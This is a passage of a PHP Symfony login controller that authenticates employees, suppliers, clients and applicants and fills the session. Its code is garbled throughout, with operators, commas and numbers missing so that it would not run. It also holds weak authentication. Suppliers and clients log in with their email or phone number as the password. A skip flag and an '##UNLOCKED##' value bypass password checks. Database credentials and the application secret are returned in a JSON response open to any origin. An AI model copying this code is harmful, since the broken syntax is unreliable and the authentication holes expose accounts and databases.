  3803.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3804.                                 //                    return $response;
  3805.                             }
  3806.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3807.                                 "message" => $message,
  3808.                                 'page_title' => "Login",
  3809.                                 'gocList' => $gocDataList,
  3810.                                 'gocId' => $gocId
  3811.                             ));
  3812.                         }
  3813.                     }
  3814.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  3815.                     } else if (!$this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  3816.                         $message "Wrong Email/Password";
  3817.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3818.                             return new JsonResponse(array(
  3819.                                 'uid' => $session->get(UserConstants::USER_ID),
  3820.                                 'session' => $session,
  3821.                                 'success' => false,
  3822.                                 'errorStr' => $message,
  3823.                                 'session_data' => [],
  3824.                             ));
  3825.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3826.                             //                    return $response;
  3827.                         }
  3828.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3829.                             "message" => $message,
  3830.                             'page_title' => "Login",
  3831.                             'gocList' => $gocDataList,
  3832.                             'gocId' => $gocId
  3833.                         ));
  3834.                     }
  3835.                 }
  3836.                 if ($user) {
  3837.                     //set cookie
  3838.                     if ($remember_me == 1)
  3839.                         $session->set('REMEMBERME'1);
  3840.                     else
  3841.                         $session->set('REMEMBERME'0);
  3842.                     $userType $user->getUserType();
  3843.                     // Entity User
  3844.                     $userId $user->getUserId();
  3845.                     $session->set(UserConstants::USER_ID$user->getUserId());
  3846.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  3847.                     $session->set('firstLogin'$firstLogin);
  3848.                     $session->set(UserConstants::USER_TYPE$userType);
  3849.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  3850.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  3851.                     $session->set('oAuthImage'$user->getOAuthImage());
  3852.                     $session->set(UserConstants::USER_NAME$user->getName());
  3853.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3854.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  3855.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  3856.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  3857.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  3858.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  3859.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  3860.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  3861.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  3862.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  3863.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  3864.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  3865.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  3866.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3867.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3868.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3869.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3870.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3871.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3872.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  3873.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  3874.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  3875.                     $route_list_array = [];
  3876.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  3877.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  3878.                     $loginID EntityUserM::addEntityUserLoginLog(
  3879.                         $em_goc,
  3880.                         $userId,
  3881.                         $request->server->get("REMOTE_ADDR"),
  3882.                         0,
  3883.                         $deviceId,
  3884.                         $oAuthData['token'],
  3885.                         $oAuthData['type']
  3886.                     );
  3887.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  3888.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3889.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3890.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3891.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3892.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3893.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3894.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  3895.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3896.                     $appIdList json_decode($user->getUserAppIdList());
  3897.                     if ($appIdList == null)
  3898.                         $appIdList = [];
  3899.                     $companyIdListByAppId = [];
  3900.                     $companyNameListByAppId = [];
  3901.                     $companyImageListByAppId = [];
  3902.                     if (!in_array($user->getUserAppId(), $appIdList))
  3903.                         $appIdList[] = $user->getUserAppId();
  3904.                     foreach ($appIdList as $currAppId) {
  3905.                         if ($currAppId == $user->getUserAppId()) {
  3906.                             foreach ($company_id_list as $index_company => $company_id) {
  3907.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3908.                                 $app_company_index $currAppId '_' $company_id;
  3909.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3910.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3911.                             }
  3912.                         } else {
  3913.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3914.                                 $this->getDoctrine()->getManager('company_group'),
  3915.                                 $gocEnabled,
  3916.                                 $currAppId
  3917.                             );
  3918.                             if (!empty($dataToConnect)) {
  3919.                                 $connector $this->container->get('application_connector');
  3920.                                 $connector->resetConnection(
  3921.                                     'default',
  3922.                                     $dataToConnect['dbName'],
  3923.                                     $dataToConnect['dbUser'],
  3924.                                     $dataToConnect['dbPass'],
  3925.                                     $dataToConnect['dbHost'],
  3926.                                     $reset true
  3927.                                 );
  3928.                                 $em $this->getDoctrine()->getManager();
  3929.                                 $companyList Company::getCompanyListWithImage($em);
  3930.                                 foreach ($companyList as $c => $dta) {
  3931.                                     //                                $company_id_list[]=$c;
  3932.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3933.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3934.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3935.                                     $app_company_index $currAppId '_' $c;
  3936.                                     $company_locale $companyList[$c]['locale'];
  3937.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3938.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3939.                                 }
  3940.                             }
  3941.                         }
  3942.                     }
  3943.                     $session->set('appIdList'$appIdList);
  3944.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  3945.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  3946.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  3947.                     $branchIdList json_decode($user->getUserBranchIdList());
  3948.                     $branchId $user->getUserBranchId();
  3949.                     $session->set('branchIdList'$branchIdList);
  3950.                     $session->set('branchId'$branchId);
  3951.                     if ($user->getAllModuleAccessFlag() == 1)
  3952.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3953.                     else
  3954.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3955.                     $session_data = array(
  3956.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  3957.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  3958.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  3959.                         'firstLogin' => $firstLogin,
  3960.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  3961.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  3962.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  3963.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  3964.                         'oAuthImage' => $session->get('oAuthImage'),
  3965.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  3966.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  3967.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  3968.                         UserConstants::USER_COMPANY_LOCALE => $session->get(UserConstants::USER_COMPANY_LOCALE),
  3969.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  3970.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  3971.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  3972.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  3973.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  3974.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  3975.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  3976.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  3977.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  3978.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  3979.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  3980.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  3981.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  3982.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  3983.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  3984.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  3985.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  3986.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  3987.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  3988.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  3989.                         //new
  3990.                         'appIdList' => $session->get('appIdList'),
  3991.                         'branchIdList' => $session->get('branchIdList'null),
  3992.                         'branchId' => $session->get('branchId'null),
  3993.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  3994.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  3995.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  3996.                     );
  3997.                     $session_data $this->filterClientSessionData($session_data);
  3998.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  3999.                     $token $tokenData['token'];
  4000.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4001.                         $session->set('remoteVerified'1);
  4002.                         $response = new JsonResponse(array(
  4003.                             'token' => $token,
  4004.                             'uid' => $session->get(UserConstants::USER_ID),
  4005.                             'session' => $session,
  4006.                             'success' => true,
  4007.                             'session_data' => $session_data,
  4008.                         ));
  4009.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4010.                         return $response;
  4011.                     }
  4012.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  4013.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  4014.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  4015.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  4016.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4017.                                 return $this->redirect($red);
  4018.                             }
  4019.                         } else {
  4020.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4021.                         }
  4022.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  4023.                         return $this->redirectToRoute("dashboard");
  4024.                     else
  4025.                         return $this->redirectToRoute($user->getDefaultRoute());
  4026. //                    if ($request->server->has("HTTP_REFERER")) {
  4027. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  4028. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  4029. //                        }
  4030. //                    }
  4031. //
  4032. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4033. //                    if ($request->request->has('referer_path')) {
  4034. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4035. //                            return $this->redirect($request->request->get('referer_path'));
  4036. //                        }
  4037. //                    }
  4038.                     //                    if($request->request->has('gocId')
  4039.                 }
  4040.             } else {
  4041.                 if ($specialLogin == 1) {
  4042.                 } else if (strpos($uname'SID-') !== false) {
  4043.                     $specialLogin 1;
  4044.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  4045.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4046.                     //*** supplier id will be last 6 DIgits
  4047.                     $str_app_id_supplier_id substr($uname4);
  4048.                     //                if((1*$str_app_id_supplier_id)>1000000)
  4049.                     {
  4050.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  4051.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  4052.                     }
  4053.                     //                else
  4054.                     //                {
  4055.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  4056.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  4057.                     //                }
  4058.                 } else if (strpos($uname'CID-') !== false) {
  4059.                     $specialLogin 1;
  4060.                     $userType UserConstants::USER_TYPE_CLIENT;
  4061.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4062.                     //*** supplier id will be last 6 DIgits
  4063.                     $str_app_id_client_id substr($uname4);
  4064.                     $clientId = ($str_app_id_client_id) % 1000000;
  4065.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  4066.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  4067.                     $specialLogin 1;
  4068.                     $userType UserConstants::USER_TYPE_APPLICANT;
  4069.                     $isApplicantLogin 1;
  4070.                     if ($oAuthData) {
  4071.                         $email $oAuthData['email'];
  4072.                         $userName $email;
  4073. //                        $userName = explode('@', $email)[0];
  4074. //                        $userName = str_split($userName);
  4075. //                        $userNameArr = $userName;
  4076.                     } else if (strpos($uname'APP-') !== false) {
  4077.                         $email $uname;
  4078.                         $userName substr($email4);
  4079. //                        $userNameArr = str_split($userName);
  4080. //                        $generatedIdFromAscii = 0;
  4081. //                        foreach ($userNameArr as $item) {
  4082. //                            $generatedIdFromAscii += ord($item);
  4083. //                        }
  4084. //
  4085. //                        $str_app_id_client_id = $generatedIdFromAscii;
  4086. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  4087. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  4088.                     } else {
  4089.                         $email $uname;
  4090.                         $userName $uname;
  4091. //                            $userName = substr($email, 4);
  4092. //                        $userName = explode('@', $email)[0];
  4093. //                            $userNameArr = str_split($userName);
  4094.                     }
  4095.                 }
  4096.                 $data = array();
  4097.                 if ($hasGoc == 1) {
  4098.                     if ($gocId != && $gocId != "") {
  4099. //                        $gocId = $request->request->get('gocId');
  4100.                         $gocDbName $gocDataList[$gocId]['dbName'];
  4101.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  4102.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  4103.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  4104.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  4105.                         $connector $this->container->get('application_connector');
  4106.                         $connector->resetConnection(
  4107.                             'default',
  4108.                             $gocDataList[$gocId]['dbName'],
  4109.                             $gocDataList[$gocId]['dbUser'],
  4110.                             $gocDataList[$gocId]['dbPass'],
  4111.                             $gocDataList[$gocId]['dbHost'],
  4112.                             $reset true
  4113.                         );
  4114.                     } else if ($appId != && $appId != "") {
  4115.                         $gocId $request->request->get('gocId');
  4116.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  4117.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  4118.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  4119.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  4120.                         $gocId $gocDataListByAppId[$appId]['id'];
  4121.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  4122.                         $connector $this->container->get('application_connector');
  4123.                         $connector->resetConnection(
  4124.                             'default',
  4125.                             $gocDbName,
  4126.                             $gocDbUser,
  4127.                             $gocDbPass,
  4128.                             $gocDbHost,
  4129.                             $reset true
  4130.                         );
  4131.                     }
  4132.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  4133.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  4134.                     if ($gocId != && $gocId != "") {
  4135.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  4136.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  4137.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  4138.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  4139.                         $connector $this->container->get('application_connector');
  4140.                         $connector->resetConnection(
  4141.                             'default',
  4142.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  4143.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  4144.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  4145.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  4146.                             $reset true
  4147.                         );
  4148.                     }
  4149.                 }
  4150.                 $session $request->getSession();
  4151.                 $em $this->getDoctrine()->getManager();
  4152.                 //will work on later on supplier login
  4153.                 if ($specialLogin == 1) {
  4154.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  4155.                         //validate supplier
  4156.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  4157.                             ->findOneBy(
  4158.                                 array(
  4159.                                     'supplierId' => $supplierId
  4160.                                 )
  4161.                             );
  4162.                         if (!$supplier) {
  4163.                             $message "Wrong UserName";
  4164.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4165.                                 return new JsonResponse(array(
  4166.                                     'uid' => $session->get(UserConstants::USER_ID),
  4167.                                     'session' => $session,
  4168.                                     'success' => false,
  4169.                                     'errorStr' => $message,
  4170.                                     'session_data' => [],
  4171.                                 ));
  4172.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4173.                                 //                    return $response;
  4174.                             }
  4175.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4176.                                 "message" => $message,
  4177.                                 'page_title' => "Login",
  4178.                                 'gocList' => $gocDataList,
  4179.                                 'gocId' => $gocId
  4180.                             ));
  4181.                         }
  4182.                         if ($supplier) {
  4183.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  4184.                                 $message "Sorry, Your Account is Deactivated";
  4185.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4186.                                     return new JsonResponse(array(
  4187.                                         'uid' => $session->get(UserConstants::USER_ID),
  4188.                                         'session' => $session,
  4189.                                         'success' => false,
  4190.                                         'errorStr' => $message,
  4191.                                         'session_data' => [],
  4192.                                     ));
  4193.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4194.                                     //                    return $response;
  4195.                                 }
  4196.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4197.                                     "message" => $message,
  4198.                                     'page_title' => "Login",
  4199.                                     'gocList' => $gocDataList,
  4200.                                     'gocId' => $gocId
  4201.                                 ));
  4202.                             }
  4203.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  4204.                                 //pass ok proceed
  4205.                             } else {
  4206.                                 if ($skipPassword == 1) {
  4207.                                 } else {
  4208.                                     $message "Wrong Email/Password";
  4209.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4210.                                         return new JsonResponse(array(
  4211.                                             'uid' => $session->get(UserConstants::USER_ID),
  4212.                                             'session' => $session,
  4213.                                             'success' => false,
  4214.                                             'errorStr' => $message,
  4215.                                             'session_data' => [],
  4216.                                         ));
  4217.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4218.                                         //                    return $response;
  4219.                                     }
  4220.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4221.                                         "message" => $message,
  4222.                                         'page_title' => "Login",
  4223.                                         'gocList' => $gocDataList,
  4224.                                         'gocId' => $gocId
  4225.                                     ));
  4226.                                 }
  4227.                             }
  4228.                             $jd = [$supplier->getCompanyId()];
  4229.                             if ($jd != null && $jd != '' && $jd != [])
  4230.                                 $company_id_list $jd;
  4231.                             else
  4232.                                 $company_id_list = [1];
  4233.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4234.                             foreach ($company_id_list as $c) {
  4235.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4236.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4237.                             }
  4238.                             $user $supplier;
  4239.                         }
  4240.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  4241.                         //validate supplier
  4242.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  4243.                             ->findOneBy(
  4244.                                 array(
  4245.                                     'clientId' => $clientId
  4246.                                 )
  4247.                             );
  4248.                         if (!$client) {
  4249.                             $message "Wrong UserName";
  4250.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4251.                                 return new JsonResponse(array(
  4252.                                     'uid' => $session->get(UserConstants::USER_ID),
  4253.                                     'session' => $session,
  4254.                                     'success' => false,
  4255.                                     'errorStr' => $message,
  4256.                                     'session_data' => [],
  4257.                                 ));
  4258.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4259.                                 //                    return $response;
  4260.                             }
  4261.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4262.                                 "message" => $message,
  4263.                                 'page_title' => "Login",
  4264.                                 'gocList' => $gocDataList,
  4265.                                 'gocId' => $gocId
  4266.                             ));
  4267.                         }
  4268.                         if ($client) {
  4269.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  4270.                                 $message "Sorry, Your Account is Deactivated";
  4271.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4272.                                     return new JsonResponse(array(
  4273.                                         'uid' => $session->get(UserConstants::USER_ID),
  4274.                                         'session' => $session,
  4275.                                         'success' => false,
  4276.                                         'errorStr' => $message,
  4277.                                         'session_data' => [],
  4278.                                     ));
  4279.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4280.                                     //                    return $response;
  4281.                                 }
  4282.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4283.                                     "message" => $message,
  4284.                                     'page_title' => "Login",
  4285.                                     'gocList' => $gocDataList,
  4286.                                     'gocId' => $gocId
  4287.                                 ));
  4288.                             }
  4289.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  4290.                                 //pass ok proceed
  4291.                             } else {
  4292.                                 if ($skipPassword == 1) {
  4293.                                 } else {
  4294.                                     $message "Wrong Email/Password";
  4295.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4296.                                         return new JsonResponse(array(
  4297.                                             'uid' => $session->get(UserConstants::USER_ID),
  4298.                                             'session' => $session,
  4299.                                             'success' => false,
  4300.                                             'errorStr' => $message,
  4301.                                             'session_data' => [],
  4302.                                         ));
  4303.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4304.                                         //                    return $response;
  4305.                                     }
  4306.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4307.                                         "message" => $message,
  4308.                                         'page_title' => "Login",
  4309.                                         'gocList' => $gocDataList,
  4310.                                         'gocId' => $gocId
  4311.                                     ));
  4312.                                 }
  4313.                             }
  4314.                             $jd = [$client->getCompanyId()];
  4315.                             if ($jd != null && $jd != '' && $jd != [])
  4316.                                 $company_id_list $jd;
  4317.                             else
  4318.                                 $company_id_list = [1];
  4319.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4320.                             foreach ($company_id_list as $c) {
  4321.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4322.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4323.                             }
  4324.                             $user $client;
  4325.                         }
  4326.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  4327.                         $em $this->getDoctrine()->getManager('company_group');
  4328.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  4329.                         if ($oAuthData) {
  4330.                             $oAuthEmail $oAuthData['email'];
  4331.                             $oAuthUniqueId $oAuthData['uniqueId'];
  4332.                             $user $applicantRepo->findOneBy(['email' => $oAuthEmail]);
  4333.                             if (!$user)
  4334.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  4335.                         } else {
  4336.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  4337.                             if (!$user)
  4338.                                 $user $applicantRepo->findOneBy(['email' => $email]);
  4339.                             if (!$user)
  4340.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  4341.                         }
  4342.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  4343. //                        if($systemType=='_BUDDYBEE_')
  4344. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  4345.                         if (!$user) {
  4346.                             $message "We could not find your username or email";
  4347.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4348.                                 return new JsonResponse(array(
  4349.                                     'uid' => $session->get(UserConstants::USER_ID),
  4350.                                     'session' => $session,
  4351.                                     'success' => false,
  4352.                                     'errorStr' => $message,
  4353.                                     'session_data' => [],
  4354.                                 ));
  4355.                             }
  4356.                             if ($systemType == '_BUDDYBEE_')
  4357.                                 return $this->redirectToRoute("applicant_login", [
  4358.                                     "message" => $message,
  4359.                                     "errorField" => 'username',
  4360.                                 ]);
  4361.                             else if ($systemType == '_CENTRAL_')
  4362.                                 return $this->redirectToRoute("central_login", [
  4363.                                     "message" => $message,
  4364.                                     "errorField" => 'username',
  4365.                                 ]);
  4366.                             else if ($systemType == '_SOPHIA_')
  4367.                                 return $this->redirectToRoute("sophia_login", [
  4368.                                     "message" => $message,
  4369.                                     "errorField" => 'username',
  4370.                                 ]);
  4371.                             else
  4372.                                 return $this->render($redirect_login_page_twig, array(
  4373.                                     "message" => $message,
  4374.                                     'page_title' => "Login",
  4375.                                     'gocList' => $gocDataList,
  4376.                                     'gocId' => $gocId
  4377.                                 ));
  4378.                         }
  4379.                         if ($user) {
  4380.                             if ($oAuthData) {
  4381.                                 // user passed
  4382.                             } else {
  4383.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4384.                                 } else if (!$this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4385. //                                    if ($user->getPassword() == $request->request->get('password')) {
  4386. //                                        // user passed
  4387. //                                    } else {
  4388.                                     $message "Oops! Wrong Password";
  4389.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  4390.                                         return new JsonResponse(array(
  4391.                                             'uid' => $session->get(UserConstants::USER_ID),
  4392.                                             'session' => $session,
  4393.                                             'success' => false,
  4394.                                             'errorStr' => $message,
  4395.                                             'session_data' => [],
  4396.                                         ));
  4397.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4398.                                         //                    return $response;
  4399.                                     }
  4400.                                     if ($systemType == '_BUDDYBEE_')
  4401.                                         return $this->redirectToRoute("applicant_login", [
  4402.                                             "message" => $message,
  4403.                                             "errorField" => 'password',
  4404.                                         ]);
  4405.                                     else if ($systemType == '_SOPHIA_')
  4406.                                         return $this->redirectToRoute("sophia_login", [
  4407.                                             "message" => $message,
  4408.                                             "errorField" => 'username',
  4409.                                         ]);
  4410.                                     else if ($systemType == '_CENTRAL_')
  4411.                                         return $this->redirectToRoute("central_login", [
  4412.                                             "message" => $message,
  4413.                                             "errorField" => 'username',
  4414.                                         ]);
  4415.                                     else
  4416.                                         return $this->render($redirect_login_page_twig, array(
  4417.                                             "message" => $message,
